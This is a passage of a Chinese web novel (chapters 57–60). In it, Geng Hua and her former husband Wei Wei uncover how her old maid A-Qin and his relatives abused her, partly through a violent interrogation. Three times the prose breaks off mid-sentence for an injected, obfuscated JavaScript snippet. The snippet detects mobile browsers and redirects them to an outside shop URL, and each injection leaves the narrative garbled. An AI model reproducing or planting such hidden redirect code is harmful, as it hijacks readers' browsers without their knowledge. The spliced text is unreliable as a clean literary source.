她微微一笑,抽走了他手中的帷帽,戴好后掀起面纱朝他眨眼。 “那就多谢了,魏大司马。” 少女妩媚的声线里透着一丝调皮。 57. 057 耿婳本来以为昨晚会认床到失眠,结果魏巍榻上的茵褥格外柔软,她虽睡得晚,却休息得好,回婳坊后换了身行头,喝了盏茶,又精神焕发忙生意去了。 七月的扬州城好像罩在蒸笼里,尤其是七夕当天。各家商铺挂满彩灯,处处都是牛郎织女的元素,装饰得十分暧昧。 今天的婳坊格外热闹,挤满了前来采购的年轻男女。阮若等人干得格外有劲儿,下午会提前打烊,掌柜的请客吃饭,谁不开心啊。 她们也是沾了伍听肆的光,他今天在新店陪耿婳招呼客人。伍听肆早年陪父亲来扬州打拼,早就站稳了脚跟。如今在婳坊帮忙,俨然成了一块活招牌,很多人都冲着他来的。 “呦,伍老板,好久不见,别来无恙啊!” “承蒙挂念,好得很呢。”伍听肆笑着拱手。 那人笑得热络,看到他旁边的耿婳,打趣道:“这次回来是为了耿掌柜吧。” 伍听肆的脸微不可查地僵了一瞬,她忙看向耿婳。她埋头假装没听到,去了别处招呼客人。 “您和耿掌柜当真是男才女貌,天造地设的一对!” “谁说不是呢。” “什么时候办好事啊?” 很明显,伍听肆的微表情并没有被人察觉,他们热烈地起哄。伍听肆当然不在意,只是忍不住瞥向耿婳时,发现她话说得热乎,眼神却有点不自然。 即使店里没人的时候,她与他说话也会把握分寸,很少像原来一样随意打闹了。 “累了?”快要打烊的时候,伍听肆这样问她。其实他想你是不是不开心,但又太突兀。 “有一点。”耿婳说完又笑了,“但一会儿不是要和大家吃饭打牌吗?我想想就兴奋。” 这些天伍听肆常常旁敲侧击说单独带她过七夕,她刻意将“大家”一词咬得很紧,为的是他能领会这其中的意思。 伍听肆不是小孩子了,怎么会不清楚她想传达的真意。他微微垂眸,掩去眼底的失落,“好啊,得月楼那边提前订好了,一会儿去那儿汇合。” 耿婳见他表情自然,心里长舒一口气。 两人刚要出发时,就见到了门口等待的魏巍。 他手里拿着什么,好像要交给耿婳似的。一见旁边的伍听肆,魏巍旁若无人地说:“耿掌柜可否借一步说话?” “魏大司马,婳儿要同我共赴七夕,怎么,难道你想强人所难?” 魏巍怎会不知道他们这是多人聚会呢。伍听肆不知道芊芊的存在,以为他不知情,这才故意挑衅的。 耿婳道:“没事的,他应该有正事要说,小肆哥哥等我一刻。” 伍听肆能有什么办法,再看魏巍,这厮朝他挑了一下眉,似是回敬。 耿婳带他到了后院,她确定四下无人后,悄悄说:“可是昨晚那批人又有动静了?” “不是他们。”魏巍说。 耿婳放下心来,她原本以为魏巍找她是为昨晚的事。 魏巍说:“昨晚听口音是洛阳本地人,我已经派玄海去查了。十有八九是刘理派来刺探的,如今没了线索,估计会去晓市找走私紫檀木的中间人去协商。我通知了张别驾,让他派人盯紧晓市那边,有线索立刻通知我。你不必为这事费神。” “好。但你不可以瞒我。如果能扳倒王绅自然好,他为人奸诈圆滑,没少欺负城里的商户和百姓。” 她说完,神态似有送客之意。 魏巍说:“其实我今天来,是想送这个给你。” 他掏出了手中的两个药盒,观察着耿婳的表情。 “你别误会,这不是七夕礼物。这是欠你的东西。”如果说是七夕礼物,她恐怕不会收了。 耿婳好奇地打开药盒,一个外敷的膏状物,一个是内服的黑药丸。 “这是治眼睛的。”魏巍说,“我这两个月托魏嵘找了京城太医,研究了醒目的药品,特意送你。” “我都试用过,没有危害,你放心用。我听许渊说起才知道你夜里为我做女工熬坏了眼睛,这是我欠你的,你务必收下。” 耿婳握紧了药盒,说:“我的眼睛打小就不好,这点随了我母亲。但确实和你有些关系,不然我的目力不会恶化。” “东西我收下,至于谢字就不说了。”因为这是你欠的债,如今无非赎罪而已。 耿婳想到这里,心中却涌出莫名的酸痛。她极力掩饰情绪,不想让他看出什么端倪。 魏巍察觉到她眼神中一丝转瞬即逝的动容,比吃了蜜还要甜。 “不用谢,是我给耿掌柜添麻烦了,我应该道歉才是。”他退后一步,弯腰做了个长揖。 “走好,不送。”耿婳勉强笑了一下,而后冷着脸出去了。她才不愿意在魏巍面前示弱呢。 魏巍目送耿婳和伍听肆离开,心中的激动却止不住。至少她收了礼物不是,而且她没有黑脸对不对。她还愿意听他把话说完,这已经很不错了。 掌灯后的七夕节比白天还要热闹,酒店饭庄更是挤满了一对对单身男女,像魏巍和玄海这样一同登门的大老爷们儿倒是罕见。 “二位爷里边儿请!”小二有些讶然。男人他见得多了,但这样一对俊俏的主仆,还是挺少见的。 如果有的选,魏巍也不想遭受周围人异样的眼光,他也想和爱的人一起共度良宵。 玄海报出了芊芊提供的雅间,而后说:“给我们找这间隔壁。” 小二领他们去了隔壁屋。 “辛苦了,玄海,陪我来扬州奔波这么久。”说着魏巍给他倒酒。 玄海忙摆手:“哪里哪里,都是小人该做的。” 魏巍强迫他坐下,陪自己喝酒。这几个月发生了太多事情——被贬到扬州,和耿婳重逢,好友贬谪,发现紫檀走私……他都没来得及好好消化,又遇上黑衣人的袭击,局势对他很不利。 一口琼浆下肚,苦闷直冲天灵盖,他眼前倏地浮现出耿婳的美丽模样。原来在相府时就是这样,不管有多艰难,只要有她在,只要能搂一搂她,和她交颈而卧,什么困境都能迎刃而解。 “今儿先别去查昨晚的事了,我要告诉你个好消息,婳儿收了我的礼物。”魏巍举杯不知喝了多少,脸颊微醺。他酒量本就不怎么样。 “她收了我送他的眼药。”他又重复了一遍。 玄海快听得耳朵长茧了,来得月楼的路上他就为这点小事洋洋得意,不知唠叨了多少遍。当时他送礼玄海就店外候着。出来时耿婳全程冷着脸,好像别人欠她万两黄金似的,竟然让曾为宰相的尊贵人物对她点头哈腰。 世上哪有这样荒唐的事! “大人,小的跟了您这么多年,实在没见您受过这种委屈。她以为自己是谁,仗着您的宠爱就敢蹬鼻子上脸……” “住口!”魏巍大吼,旋即意识到隔墙有耳,压低声音斥道,“你想坏我好事不成?” “小人不敢。”玄海跪地磕了一个,“我是为大人着想。您这么付出,天天熬夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037457|146077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学医,亲尝汤药,就是为了给她治眼。换做别人真得感动死,她倒好,连句多谢都不知道说。” 魏巍道:“我和婳儿夫妻一场,不用多言。” “可我听芊芊说,扬州坊间多少知道她和伍听肆的事,他们早就心照不宣了。”玄海低头嘟囔。 魏巍微咬下颌,片刻后说:“对她好,是我心甘情愿的事。你无需多言,若以后再出言不逊,别怪我不留情面。” “奴知道了。”玄海给了自己一巴掌。 “下不为例。” 魏巍端着酒壶,咬着壶嘴一饮而尽。平时处事拘谨的他鲜少失态,这回被身边人猜中心思,难免郁闷。 他本来还幻想着耿婳看到他体贴送来药盒,会对他眉开眼笑,会对他开口道谢,或者会高兴地邀请他一起吃晚饭,甚至还幻想过耿婳原谅他与他抱在一起流泪的场景。 只是他一个人自作多情罢了。 “酒,取酒来!”他摇晃着空酒壶,急切地说。 玄海低声:“您不能再喝了。” “你管得着我?”魏巍脸色酡红。 偏偏这时隔壁传来了欢声笑语,他听得真真切切,那就是耿婳的声音。她正在和她的伙计好吃好喝,共度七夕。 而陪伴她身边的男人不是他。魏巍好想她。他忽然有个冲动,好想过去抱一抱她。 她或许也喝多了,也很想和他抱在一起。 魏巍感受到前所未有的胀痛,好像喝下去的酒水渗入了肺腑和血液里。他从没这么难受过。 他好想见见她,好想直接告诉耿婳,他还爱着她,他乞求她的原谅。他可以给她下跪给她骂,可以给她卑躬屈膝,只要她愿意原谅自己。 他这么想着,再有意识时,双腿已经走到了隔壁雅间门口。 隔着门缝,他看到了里面的场景。 原来她们早早就吃饱喝足,现在正围坐在桌上玩叶子牌。 耿婳喝了很多酒,脑袋却清醒得很。倒是阮若有些醉意,她傻乎乎笑着说:“最近七夕,全是恩恩爱爱的男女,就我没人要,气死啦!” “你生什么气,单身不好?非要找个男人给自己添堵?”耿婳浑不在意地说。 “瞧你这话说的,不愧是个过来人。” 紫殷和芊芊脸一僵,他们可从不敢当着耿婳的面提她成过婚的事。阮若要不是喝醉酒,定然不敢提。 可耿婳今天却没有炸毛,她大大方方笑着说:“可不是吗,正因为有过男人,我可要给你们些忠告。” 她眼睛瞟了瞟阮若和芊芊。 “千万别被表面现象迷惑。别找长得太俊美的,也别找年纪岁数比自己大的,不然啊,有你的罪受!” 伍听肆笑着接话:“是啊,小婳受过这种苦。可别找岁数太大的,说话都带着爹味。” 紫殷说:“何止说话有爹味,再过几年他就该长白胡子了。” 阮若接话:“再过几年,孩子生下来没准管他叫爷爷呢。” 耿婳嬉笑道:“得亏离了,不然啊,等着闻老人味吧。” 众人大笑。芊芊杵在一边,不赞同地撇撇嘴。 魏巍杵在门外,在月色中苍白了脸庞。 他刚刚还想进去大声同耿婳表面心意,如今却打消了这种念头。他不想在这么好的时节惹她不悦。 因为他不知道她背地里是这么瞧不上他。 直到走回隔壁魏巍才明白,爱上一个人是会卑微到尘埃里的。 58. 058 魏嵘来扬州比约定时间晚了十日。八月初的天气比六七月稍好些,即将立秋,空气里透着股飒爽。 魏嵘原以为这天气来找哥哥,是一件双方都很惬意的事。一进城门,他没等到想见的人,只看到玄海独自候在一边。 “你主子呢?” “回二爷,大爷在府上忙,实在赶不过来,就派小人来接。” 魏嵘皱起的眉头松了下来,他比谁都清楚魏巍有多爱工作,一忙起来那叫一个六亲不认。他本来没当回事,可一进府后看到他挽着袖子在小厨房熬药,瞬间错愕得说不出话来。 “大哥,你这是……”魏嵘语塞,而后扭头斥责玄海,“你个下人怎么当的,敢让主子下厨?!” “与他无关。”魏巍擦擦手,拍了拍弟弟的肩头。 玄海脸一阵白一阵红,立刻接过魏巍的家伙什。出厨房前,魏巍嘱咐说:“还差一刻钟,到了火候记得再焖一会儿。” “哥,你当上大夫了?”魏嵘随他进了正堂,奇怪地问。 魏巍答非所问:“刚刚是我执意熬药,并非玄海渎职。我特意命他在城门口迎你。 “好几个月不见了,你都不说出城看看我。”魏嵘气道。 魏巍笑他:“都成家了,怎么还和个小孩一样。” 或许是从小守着父母和哥哥的溺爱长大,魏嵘对魏巍的调侃完全免疫。如今家族势衰,母亲年老,他全靠哥哥扶持,和哥哥撒娇斗气也是常有的。 “对了,我给你介绍阿沁。”魏嵘这才想起美妾。他从书信里经常牢骚正妻,对亏魏巍开导。这次他来扬州散心正好带上阿沁,带他认过大哥。 魏巍在信里看似安慰,实则是想打探阿沁的消息。魏嵘对此当然不知情。 阿沁刚下马车时,见魏嵘跟着玄海疾步去找魏巍,她一人知趣地等在院子里。 魏巍见到她时,几乎认不出来了。 记忆里,耿婳身边的那个小丫鬟一直埋着头,存在感极低。而眼前这人眉清目秀,穿得花红柳绿,一副小家碧玉的样子,非寻常侍女丫头可比。 她小跑着去挽魏嵘的胳膊,甜甜道:“讨厌,你让我等好久呀。” 魏嵘刮了刮她的鼻子,“淘气。” “咳。”魏巍背过身去,他们才分开了。 “大哥好久不见,魏嵘他在京城就挂念你呢。今儿来投奔您,可给您添麻烦了,还望海涵。”她一副女主人的姿态,不知道的还以为是魏嵘正妻呢。 魏巍冷淡又不失体面地点了点头。 他记得耿婳的要求。他能感受到她话里话外的意思——这个阿沁一定和耿婳的过去有千丝万缕的联系。 魏巍曾经无暇顾及妻子的内宅生活,也曾问过耿婳为什么不辞而别离开相府。可如今看到眼底狡黠的阿沁,他可以确定,婳儿之前的痛苦一定和她有关。 阿沁见他盯着自己看,只问:“大哥可有事?” 正妻柳惜君唤他一声“大哥”情有可原,她一个小妾应该唤他“大爷”才对。 魏巍不动声色说:“无事,我只在想该去哪家馆子为你们接风洗尘。” “嗐,随便一家馆子都行,我就想尝尝拆烩鲢鱼头!”魏嵘说。 “容我更衣。” 魏巍和颜悦色,没露任何破绽。阿沁才知自己是多心了。 “大人,眼药已经熬好了。”玄海抽身和魏巍一起进屋。 魏巍使了个眼色,压低声音:“去送到芊芊那儿,然后托她告诉婳儿,说她要找的人已经到扬州了。” “记得,别惊动外边人。”魏巍又嘱咐,“我带他们去灵云楼吃鱼,这个也务必转达给婳儿。” 玄海越听越不对,这不是为了外人坑自己家人吗? 阿沁的事他多多多少少从魏巍耳里听过,说是耿掌柜的陪嫁丫头,和她好像有点仇怨。 可她们两个女人之间的仇怨,关他家大人什么事! 那天七夕夜里,魏巍跌跌撞撞从隔壁房回来,好像丢了魂儿一样。之后的几天,他都闷在府上,一个人熬药发呆。 他知道那晚主子在门外偷听到了什么,这才恼火耿婳。她竟然背地里嚼舌根,对大人不敬! 一想到要为耿婳跑腿他就又气又委屈,直到魏巍给了他一个犀利的眼神,他才硬着头皮不情不愿地出发了。 过了七夕后,生意回归平淡。但离中秋节之意一旬多的时间,耿婳上次采买白芷要做的美白丸大功告成,效果很好。这下可以靠着中秋的噱头上新,她最近都在忙这事。 所以当芊芊慌忙小跑过来时,她还挺生气的。 “什么?”耿婳眼睛一亮,“我要找的人来了?” 芊芊传达的话里并没有明确提出阿沁,但她能确定这是魏巍打的哑谜。 她问:“玄海穿的话?” “嗯嗯。” 耿婳更加确信了。 “掌柜的,你去哪儿?”芊芊急道。 “得月楼!你留下看店!”耿婳风风火火地说,“阮若,跟着我!” 两个人齐齐冲了出去,颇像官府抓凶犯的官吏。 得月楼里,魏嵘和阿沁毫不知情。魏巍点了一桌子好酒好菜,心里却也嘀咕。 自从七夕之后,他无颜去见耿婳,不知道她想找阿沁做什么,但肯定不是什么好事。如果起了冲突,该如何是好。 他忽然有些后悔让玄海去报信。当时他想第一时间告诉耿婳这个好消息,私心有邀功的意味——如果帮耿婳找到她想找的人,或许在她那里是个积分项? 魏巍不确定,但他必须为耿婳做事。这是他想也没想就下的决定。 酒过三巡,三人正常吃喝说笑。忽而,脚步声传来,伴随着银铃般的笑容。 “我来迟了,你怎么也不叫我。”耿婳很自然地走进屋里,又是高兴又是责备地坐到魏巍身边,挽住了他的胳膊。 她拿起手绢,贴到魏巍胸口,嗔怪道:“真是的,这么大事你还瞒着我。” 旁边的魏嵘和阿沁大眼瞪小眼,嘴巴长得能吞下一个鸡蛋。两人惊愕到失语,尤其是阿沁。她难以置信地颤抖着瞳孔,满脸恐惧,双颊发白。 耿婳依偎在魏巍怀里,拿眼斜瞟着这两人,心底发出冷笑。 魏巍也饶是惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044797|146077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讶,没想到她会来这么一出。可他却一点也不抵触她的小心机,心里反倒生出丝丝甜蜜。 魏嵘先开口:“大、大哥,这是怎么回事?” 魏巍说:“这是婳儿。” 他还想说什么,却被耿婳打断:“我是魏司马在扬州新娶的妻。” 她暂时不想暴露,魏巍领悟后,说:“看着很像耿氏,我专门按她的模样挑的。” 魏嵘早就忘了三年前耿婳的具体长相,刚刚乍一看以为是一个人,现在听哥哥这么一说,他立刻就信了。 阿沁却不以为然,她和耿婳相处的时间更长。这人分明就是耿婳,可又和原来处处不一样。 她从未见过这样鲜活娇嗔的耿婳,饭局上恩威并施把魏巍拿捏得服服帖帖。她一颦一笑、一言一语,都和曾经那个唯唯诺诺的商户女迥然不同。 阿沁观察了许久,慢慢放下了戒备。 “真是的,大哥你怎么瞒着这么大事?”魏嵘马上给魏巍倒酒。 耿婳截胡酒杯,爽利说:“你大哥酒量一般,我代他饮。” 她仰头喝完,又回敬魏嵘。这人果然和魏巍一个德行,没几壶酒倒了。阿沁在旁边尴尬地扶着他,她刚想唤小二取醒酒汤,却被耿婳拦下。 “玄海,你还愣着干嘛!赶紧把二爷送回府里!”耿婳命令说。 玄海不情不愿听她命令,转而看向魏巍。一撞上主子斥责又凶狠的眼神,他就知道自己做错事了。 就连他的主子都在听耿婳的差遣,他这个做奴婢的哪有资格不听话。 他将魏嵘架在身上,阿沁想要尾随他出去,却被一边的阮若拦住去路。 “掌柜的,怎么处置?”阮若歪头问坐着的耿婳。 阿沁这才意识到气氛不对,她一转身,就被耿婳刀锋般的眼睛吓了一跳。 那双漂亮的眼睛外露锐利,直勾勾地盯着她,好像要扒开她的皮肉撕破她的内脏。刚与耿婳对视了一秒,她就吓得立刻撇开眼神,心脏慌乱地跳动着。 她发现自己在心虚,立刻明白了这个美丽女人的身份。她不是和耿婳相似的人,她就是耿婳本人。 “阿沁,别急着走呀。”耿婳起身施施然朝她走来。 她细细打量着阿沁,嘴角止不住地上扬,好像费劲千辛万苦终于抓住猎物的雌豹一样。 耿婳克制不住这种兴奋,她忽而提起阿沁的下巴,声音都激动地颤抖起来:“我们也该算算旧账了。” 阿沁刚想反抗,就被阮若反剪住双手,疼得眼泪差点流出来。 “别怕呀,我又不会把你怎么样。”耿婳的声音都变了,变得急切又病态。 “婳儿!”魏巍起身走来。 耿婳冷漠地扭头瞪他:“魏先生,请你不要插手我的家务事。” “我知道。”魏巍顿了顿,说:“我只求你饶她一命。” “我说我要杀她了吗?”耿婳发出凄厉的笑。 魏巍没话说了。 耿婳和阮若带走了阿沁,他愣了一刻,即刻追去与她们一道。 如果阿沁会吐露出什么,那一定和婳儿离开相府有关。 59. 059 阿沁被阮若揪着头发带进了婳坊后院,她腾一下摔倒在后院槐树下。她尖叫一声,从地上抬头来,脸上还沾着软泥。 一双精致的翘头绣鞋映入眼帘,耿婳居高临下睨着她,后面不远处站着魏巍玄海主仆二人。 “阿沁,你还记得我吗?”耿婳问她。 她小心翼翼看着耿婳,她在疑惑也在好奇——为什么一个人的变化能这么大。 阿沁嗫嚅:“记、记得。” 她声音充满着恐惧,她能感受到耿婳冷静表情中的愤怒。阿沁悄悄看向魏巍,试图求救。 “你看他干什么,他都得听我的。”耿婳冷笑说。 曾经她脾气好,被阿沁这个当下人的蹬鼻子上脸。现在她稍微露出点狠厉,这人就吓成这样。 前倨而后恭,思之令人发笑。 “我问你答。”耿婳说,“你可记得熹微姑姑,她当时怎么失踪的?” 她记得很清楚,她偷偷和伍听肆做小买卖,后来被怀疑与他有染,在这之后熹微姑姑就消失了,再出现时全身带伤奄奄一息,而后撞击致死。 夜色里,阿沁骨碌转着眼球,又抬头看向远处的魏巍。 “不说是吧?”耿婳笑着招呼阮若,“你来。” “得咧!”阮若揪住阿沁后颈,把她面门朝向树干撞去。 粗糙的树干划伤了阿沁的脸,她痛苦地尖叫起来。阮若从树下揉了一团泥土塞进她嘴里,又揪着脑袋朝树干撞去。 过了一会儿,阿沁好像晕了过去。阮若一松手,她就软绵绵顺着树干倒下了。 耿婳命令:“泼醒她。” 阮若跑去马厩取了一桶陈旧难闻的水,兜头朝阿沁泼去。阮若眉头皱了一下,眼睛微微掀开,好像还没完全恢复意识。 “还不醒,还不醒?”阮若一巴掌闪过去。 耿婳提裙整理后优雅地蹲下,说:“乖,说实话,就不挨打了。” 阮若揪出她口中的泥团。 阿沁缓了缓,恢复力气,大声朝魏巍喊:“大哥救我!” 魏巍忽然觉得头晕目眩,立刻装作醉酒状,玄海顺势扶住主子。两人对阿沁的求救声置若罔闻。 “说不说?”耿婳问。 最后一棵救命稻草消失了,阿沁眼里失去高光,低声:“我说,我说。” 魏巍从玄海怀里出来,竖起耳朵认真听。 “当时她被带到太太那边受审,她那些伤是嬷嬷审的。”阿沁顿了顿,又补充,“因为当时她们怀疑你与外男有染,这才拿熹微开刀。” 这和耿婳猜测的一致,她又问:“谁的主意?” 阿沁回道:“柳如烟。” 耿婳点头:“确实如此。她看我不顺眼,觉得我这个丞相夫人挡了她的道儿,所以在杨氏身边吹耳边风。柳如烟想把熹微姑姑屈打成招,让她成为我水性杨花的人证。” “是也不是?”她顿了顿,问。 “……是。” 阮若一巴掌打过去,闪得手都疼了。阿沁疼得一边求饶一边哭,“这都是柳如烟的主意,与我无关呐。” “那你觉得你作为奴婢,当得合格吗?”耿婳质问她,“我生病时你可悉心照顾过?我记得你那时早就靠着青烟投奔柳如烟去了,后来我被禁足在床你还落井下石呢。” “我没有,我不是……”阿沁赶紧摇头否决。 “我呸!你个小蹄子不知道谁养你谁与你有恩,竟敢投靠外人给我家掌柜的使绊子?我打不死你!”阮若怒不可遏,她手都打疼了,抄起细木棍抽打阿沁。 “我再问你,熹微的死和魏巍知情吗?”耿婳说,“你说实话,我就不让阮若打你。” “没有,啊……没有没有!”阿沁赶紧道,“大爷不知道这事,当时柳如烟借杨氏的口把熹微叫过去审讯,和大爷没关系,他也不知情!” 远处的魏巍也听到了她的话,他即使再冷静,也难掩心底愤怒。 耿婳了解熹微姑姑死因后,心底踏实了些,“把她绑了堵嘴,扔马厩里。” 她说完转身走了,路过魏巍时她没有顿足,径直走了。 阮若安顿好阿沁后,才注意到远处的魏巍和玄海。 “你们还在这儿干嘛,出去出去!” 魏巍掏出银锭给她,“求女侠通融。” 冷不丁被人夸了一句“女侠”,阮若嘴角控制不住地往上翘,她拿过银子咬了咬,揣今怀里。 “给你一盏茶的功夫,但不许放人!” “不放,不放。” 阮若颠颠上楼休息去了。 天色黯淡下来,玄海拿过灯笼,领路去了马厩。 阿沁看到他们,如同看到希望,瓮声瓮气地点着头。 “我有话问你。”魏巍冷着脸,眼神里一团怒火,“你如实招来,不然我不饶你。” 玄海抽出她嘴里的破布团,“大人问你话,老实点儿!” “你最早是耿婳从娘家带来的陪嫁?”魏巍问,“她在娘家过得如何,从头说起,越详尽越好。” 阿沁干咳两声,说:“她和她娘不受耿忠待见,活得连奴婢都不如。她的继母对她也不好,后来耿忠走私紫檀被抓,耿婳被利用灌药才上了您的榻。后来被当成工具嫁到您府上。” “是谁逼她喝得药?”魏巍问。 “是大理寺少卿。”阿沁顿了顿,细说,“当时杜氏本想送她去给刘少卿暖床,但刘少卿命她喝了春药陷害您。所以才有后面出嫁的事儿。” 魏巍攥紧了拳,眼底泛起血丝。 “后来在府上,她还受过什么委屈?”魏巍问。 阿沁心虚地垂下了头。 “说!”他怒吼。 阿沁吓得身子一颤,“当时当时熹微亡故,她怀着身孕,精神受了刺激,整日疯疯癫癫,杨氏和柳如烟都害怕她闹事,所以就……就把她手脚绑缚在床,直到小产。” “什么?”魏巍止住撕心裂肺的伤痛,强行忍着愠气,“你们敢虐待她?” “柳如烟。” 魏巍再听到弟媳的名字,只视同为冤家仇敌。 “还有什么瞒着大人的事,还不快老实交代!”玄海在旁边听着也火大。 阿沁只好一五一十说出来,包括柳惜君和杨氏逼着耿婳喝堕胎汤药的事。 “她竟敢迷惑我母亲,害我的孩子。”魏巍自言自语,他不知道如何说出的这些话,只觉得灵魂都因愤怒而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057338|146077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤抖。 “堵嘴,关着。”魏巍撂下话,就往外走。 阿沁原以为他会看在魏嵘的面上拯救她,可还没来得及叫屈就被玄海堵住了嘴。 魏巍低声嘱咐玄海,他领命出去了。而魏巍并没有离开婳坊,他去了楼上。耿婳的房间果然还亮着,她今日得知熹微姑姑当年的死因和真相,不可能轻易睡着。 魏巍轻轻敲门,没有人应。 “婳儿?婳儿?”魏巍说,“能不能借一步说话,我知道你没睡。” 耿婳还是没理他。 魏巍急道:“你要是不见我,我就不走了。” 门被吱呀打开,耿婳凶道:“紫殷若不是在新店守门,我定让他赶你出去!” “我是来道歉的。”魏巍手扒住们,“能让我进去吗?” “你在门外说。”耿婳抽手背过身去,只留下一个单薄的背影。月光和烛火的映衬下,她的身形显得纤细又坚强。 魏巍垂着头:“我之前还纳闷,你怎么会不辞而别。原来你受了这么多苦。” “你才知道?” “是,我才知道。”魏巍愧疚地小声说,“过了这么久才了解真相,我不配做你的夫君。” “但是,我必须陪你一起解开曾经的误会,必须帮你除去那些亏欠过你的人。不然,我心不安。”他又坦然道。 “你之前忙于公务,从不着家,自然也不理解女子的深宅斗争。”耿婳说,“你若想帮我,可要想好了。我的仇人是你全家!” 魏巍不知道她说的是气话,还是真话,解释说:“当年之事,皆处于柳如烟之手,还有刘理那厮,是她逼你与我同榻……” “谁知道你有没有参与?”耿婳扭头,眼睛又红又湿。 “我没有,我真没有。”魏巍跳进黄河也洗不清,“我行胜于言,求你给我一次机会,让我帮你除去三年前的委屈和仇怨,让我帮你复仇,解开心结。” 耿婳公允说:“我之前错怪你了,以为熹微姑姑的死与你有关。” “没事,不怪婳儿。都是柳如烟的主意,她迷惑了我母亲,都是她的错!”魏巍又说,“还有我的错,我不该对你置之不理,让你平白受气。如果有我的庇护,她们定不敢把你怎么样。” 这话说到了耿婳痛处,她吸吸鼻子,忍住了眼泪。一扭头,正撞上魏巍坚毅湿润的眼睛。 “给你个表现的机会,帮我稳住魏嵘,别让他发现。”耿婳说。 魏巍答应她后,又问:“你想怎么处置阿沁?” “她是我的奴婢,我想怎么处置就怎么处置。”耿婳说,“当时成婚后我归家,拿走了她的卖身契,至今还留着,就算魏嵘找上门来我也不怕。” 这是楼梯间传来动静,玄海抱着魏巍交代的东西上来。 “我让玄海买了些纸钱。”魏巍说,“今晚一起祭奠熹微。” “算你有心。”耿婳擦擦眼泪。说来惭愧,她当时身不由己,熹微死后草席裹尸扔进了山间的乱葬岗。 夜里繁星点点,吉庆街安静祥和,她跪在地上和魏巍烧着铜盆里的纸钱。 “故人只在心,节哀。”魏巍道。 火光熠熠,映亮了她璀璨的瞳孔。 60. 060 魏巍陪她烧了半夜纸钱。 “阿沁先扣在我这儿,魏嵘那边,你去处理。” “我知你是想报复她,但事别做得太过。她上面还有人。”魏巍说。 “我能不知道吗?”耿婳没好气地说,“要是能摸到柳惜君,我绝对不会只追着她一人打。” 魏巍轻拂她的后背,“你的心情我能理解。” “理解个屁!”耿婳倏地扭头吼他,深夜里这声尖叫显得格外刺耳。 她眼神凌厉地瞪着魏巍,恨不能把他撕成碎片。魏巍被她突如其来的恼怒吓了一跳,他不知所措地将抚摸她后背的手虚放在空中,凤眸看着她,显得很无辜。 他越是无措,耿婳越是生气,她站起身来,居高临下说:“你装什么装,我的孩子还不是你害死的?!” 魏巍愣了一会儿,“你说什么,那孩子怎么可能是我害死的,我怎么可能害自己的孩子?” 上一回在山中别馆,她也是这般情形。稍微聊起那个未出生的孩子,就发了疯似的怨念。这次审问阿沁后,他可以肯定其中一定有猫腻。 魏巍心跳如鼓,血气上涌,他急切地想知道真相。 耿婳听着他笃定的话语,迷惑中忽而惊醒,她也意识到了同样的问题。 “当时,我收到了你的信。上面说,你怕被耽误前程,让我喝避子汤流掉孩子。”耿婳吸吸鼻子,不自觉哽咽起来,“我当时被绑在床上养胎,柳惜君和你娘匆匆闯进来,让我喝堕胎的汤药……” 耿婳五官难以控制地扭曲起来,捂脸哭泣说:“我看了,那就是你的笔记,那就是你写的信!是你杀死了孩子!你居然还有脸在我面前提她!” 魏巍连连摇头。解开迷雾后,一股被蒙在鼓里的恼火和委屈瞬间充斥了他的大脑,他无法控制情绪,激动和愤怒交织着,血液直冲颅顶,他双手擒住耿婳的肩头道:“我没有!婳儿,那信绝不是我写的!” 他努力让眼神显得冷静。耿婳哭着捂住耳朵,“我不听!我才不听!你惯会装好人骗我!” “我没有,婳儿。”魏巍沙哑着嗓子,手温柔地擒她的腕子,“你听我说,这事一定有蹊跷。当时我收到魏嵘的信,他说你有了身孕,我开心地往回走,想回府看望你,结果等来的是你的葬礼。柳惜君同我说你撒手人寰,孩子也没保住。之前你情绪激动,我都没来得及与你求证……” 耿婳跑进了婳坊,随意坐在一张桌子前捂头哭。 “婳儿,你听我说。”魏巍极力克制着痛楚,“这里必有误会,我有一计,你可以听一听。” 这不是她的仇怨,而是他们夫妻两人的事。他有责任帮她弄清楚此事。魏巍预感明确,此事一定和柳惜君有关。 他要想办法把柳惜君骗过来。 等耿婳哭干了眼泪,他才娓娓道来。耿婳对魏巍半信半疑,但她确实很想报复柳惜君,于是答应下来。 丑时耿婳上楼睡觉,魏巍回了府上,一夜未眠。他连夜给柳惜君写信,假意说魏嵘带小妾阿沁来投奔他,颇有扶正阿沁的意思。他骗她魏嵘大病一场,请她过来照顾,这样能增进她和丈夫的感情。 魏巍信里言辞恳切,表达对阿沁的不屑和对她这位亲弟媳的认可。柳惜君素来精明,只有这样能打消她的疑虑。 魏巍写好信,让玄海亲自去送,务必将此人带回扬州。 